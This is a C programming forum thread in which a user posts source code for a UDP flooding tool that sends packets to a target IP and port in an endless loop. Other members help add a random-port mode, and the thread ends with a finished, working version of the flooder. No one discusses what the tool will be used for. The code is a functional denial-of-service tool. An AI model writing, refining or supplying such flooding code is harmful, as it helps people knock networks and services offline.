Thread: Add function RAND in my script

Hello all,

I have a script that sends UDP socket on a port that I added,
I would add the function rand ($ rand = rand (1.65000))
such as would utulisation ./ udp 127.0.0.1 rand

Code:

/*
 compilation : gcc udp.c -o nom
*/


#define UDP_STRING "BBBBBBBBBBBB"
#define UDP_SIZE 15


#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>


int connection(char *, short);


int connection(char *serveur, short port)
{
   struct sockaddr_in udp;
   struct hostent *bbs;
   int initsocket;
   bbs = gethostbyname(serveur);
   if (bbs==NULL) {
      printf("host inconnu: %s\n",serveur);
      exit(0);
   }
   printf("Innondation de paquet UDP sur %s:%d\n ", serveur, port);
   bzero((char*) &udp,sizeof(udp));
   bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
   udp.sin_family = bbs->h_addrtype;
   udp.sin_port = htons(port);
   initsocket = socket(AF_INET, SOCK_DGRAM, 0);
   connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
   return initsocket;
}




main(int argc, char **argv)
{
   int i;
   if(argc != 3)
   {
      fprintf(stderr, "Utilisation: %s ip port\n",argv[0]);
      exit(0);
   }
   i=connection(argv[1], atoi(argv[2]));
   for(;;)
   {
      send(i, UDP_STRING, UDP_SIZE, 0);
   }
}

Thinks in advance !

welcome to the forum lowterie! have a pleasant stay!

good morning. The function rand and srand is declared in <stdlib.h> and time() in <time.h>

you can code inside main:

Code:

   int value = 0;
   srand(time(NULL));
   value = (rand() % 16499) + 1;

this way you'll get a number between 1 and 16500.

srand() is a function to seed rand. You must use it to get random numbers afterwards.

Thanks !

yes a random number between 1 and 16500!


But I want to leave the choice between utulisation port manually entered or random function but I don't know.
I have two arguments to the script Laner ip and port so the user enters:
./ udp 127.0.0.1 80 (for example)
or the random function:
./udp 127.0.0.1 rand

You mean including 1 but excluding 16500.

I don't get it. For dices throwing, you code:

Code:

 
  value = (rand() % 6) + 1;

Exactly, "rand % 6" is anything from 0 to 5, so "rand % 6 + 1" is anything from 1 to 6.

sorry, I confused myself.

Code:

  
  value = (rand % 16500) + 1;

I can't, I try to

Code:

if(choix == "rand")
{
int aleatoire;
aleatoire = (rand') % 16499) + 1;
port = aleatoire
}
else
{
port = choix
}

Originally Posted by lowterie

But I want to leave the choice between utulisation port manually entered or random function but I don't know.
I have two arguments to the script Laner ip and port so the user enters:
./ udp 127.0.0.1 80 (for example)
or the random function:
./udp 127.0.0.1 rand

So the second argument to the program could either be a port number or "rand", correct?

Code:

if(choix == "rand")

You can't compare strings with ==. You have to use strcmp():

Code:

if (strcmp(argv[2], "rand") == 0)
    port = (rand() % 16499) + 1;
else
    port = strtol(argv[2], NULL, 10);

(I prefer strtol() over atoi(). You should also check for errors)

Bye, Andreas

Originally Posted by lowterie

But port isn't undeclared

What do you mean?
In main() you haven't declared "port". And you have to process argv[2] before you pass it to connection():

Code:

short port;
if (strcmp(argv[2], "rand") == 0)
    port = (rand() % 16499) + 1;
else
    port = strtol(argv[2], NULL, 10);
i = connection(argv[1], port);

Bye, Andreas

it's done

Code:

/* compilation : gcc udp.c -o nom
 utilisation : ./nom ip port
 exemple d'utilisation : ./udp 80.70.60.50 80
 fonctionne sous linux, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
*/


#define UDP_STRING "LOL"
#define UDP_SIZE 50


#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>




int connection(char *, unsigned short);


int connection(char *serveur, unsigned short port)
{
   struct sockaddr_in udp;
   struct hostent *bbs;
   int initsocket;
   bbs = gethostbyname(serveur);
   if (bbs==NULL) {
      printf("host inconnu: %s\n",serveur);
      exit(0);
   }
   //printf("Innondation de paquet UDP sur %d\n ", port);
   bzero((char*) &udp,sizeof(udp));
   bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
   udp.sin_family = bbs->h_addrtype;
   udp.sin_port = htons(port);
   initsocket = socket(AF_INET, SOCK_DGRAM, 0);
   connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
   return initsocket;
}




main(int argc, char **argv)
{
   int i;
	int value = 0;
	const int MAX =65535;
	const int MIN =1;
	int port =atoi(argv[2]);
	srand(time(NULL));
	
   if(argc != 3)
   {
      fprintf(stderr, "Utilisation: %s ip port ou ip -1 ( random port )\n",argv[0]);
      exit(0);
   }
   
   if(port ==-1){
	printf("Innondation de paquet UDP sur %s en random\n ", argv[1]);
	 for(;;)
	{
		i =connection(argv[1], (unsigned short)((rand() % (MAX - MIN + 1)) + MIN));
		send(i, UDP_STRING, UDP_SIZE, 0);
		
	}
   }else{
		i=connection(argv[1], port);
		printf("Innondation de paquet UDP sur %s:%d\n ", argv[1], (unsigned short)port);
	  for(;;)
		{
		send(i, UDP_STRING, UDP_SIZE, 0);
		}
		
   }
}

Code:

main(int argc, char **argv)
{
...
    int port =atoi(argv[2]);
    srand(time(NULL));
    
    if(argc != 3)

That doesn't make sense. You are converting argv[2] to an int and then you check if you've got the correct number of arguments?

Bye, Andreas

Originally Posted by AndiPersti

Code:

main(int argc, char **argv)
{
...
    int port =atoi(argv[2]);
    srand(time(NULL));
    
    if(argc != 3)

That doesn't make sense. You are converting argv[2] to an int and then you check if you've got the correct number of arguments?

Bye, Andreas

I don't see the problem here ...
​how would you have done?

What Adak wants to point out is that first we check for the number of arguments (args) and then, when we are sure that we have enough arguments we do work with them.

In your code you try to access argv[2], but you are not sure that this argument exists

Do you agree?